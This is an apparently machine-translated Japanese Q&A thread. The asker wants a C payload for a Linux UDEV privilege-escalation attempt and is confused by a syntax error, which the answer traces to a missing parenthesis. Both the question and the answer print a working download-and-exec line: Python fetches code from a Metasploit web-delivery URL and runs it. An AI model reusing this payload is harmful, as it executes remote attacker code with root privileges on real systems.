2016-04-28 10 views
0

私はLinuxで特権エスカレーションを試みていますが、/ tmp /にあるファイルはrootユーザー(Linux kernel 2.6 UDEV exploit)として実行されます。私はCでペイロードを作ることを決めました(追加の課題のために)。単一のPythonコマンド(MetasploitのWeb配信モジュールで生成)を実行するだけです。問題は、URLを文字列として入力すると、http://の//が残りのURLをコメントアウトすることです。URLがコメントアウトされないようにする方法(C)

私はそれほど多くのCを知らないので、この問題を解決する方法はわかりません。これはちょっとお目にかかるかもしれませんが、どこでも答えは見つけられません。

現在のコード:

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\"" <== // in http:// comments out rest of line 
    return 0; 

} 

は、この問題を解決する適切な方法はありますか?

+0

エスケープ文字をエスケープするために使用される別のバックスラッシュ(との両方のバックスラッシュは、HTTPを取得しますので://// –

+1

になり何を '//'行をコメントアウトしていることを考える – duskwuff

+3

はそれができます?テキストエディタの構文の強調表示が壊れていますか?文字列の中にあるので、コメントアウトしないでください。 – Krumelur

答えて

4

//文字列リテラルの内部にはコメントを入れません。文字列に//を使用することは、あなたが投稿した問題ではなく、代わりにsystem関数呼び出しを終了して)で終了する必要があります。

#include <stdio.h> 

int main(void) { 
    system("python -c \"import urllib2; r = urllib2.urlopen('http://0.0.0.0:8080/tmmPIejv70OV'); exec(r.read());\""); 
    return 0; 
} 
+0

ありがとうございます。 –

関連する問題